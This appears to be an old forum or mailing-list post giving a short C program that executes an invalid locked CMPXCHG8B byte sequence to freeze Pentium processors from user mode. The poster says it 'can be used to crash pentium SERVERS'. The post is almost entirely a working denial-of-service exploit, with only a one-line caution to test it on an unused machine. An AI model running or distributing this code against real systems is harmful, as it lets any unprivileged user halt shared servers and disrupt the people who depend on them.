<why would anybody want to intentionally crash their system?>

This can be used to crash pentium SERVERS.

..seems to work for all pentiums (different sequence for CYRX)
from user mode -

(caution - try the following on an **UNUSED** system with filesystems read-only)

char x[5] = { 0xF0, 0x0F, 0xC7, 0xC8, 0 };
main( )
{
void (*f)( ) = x;
f( );
}
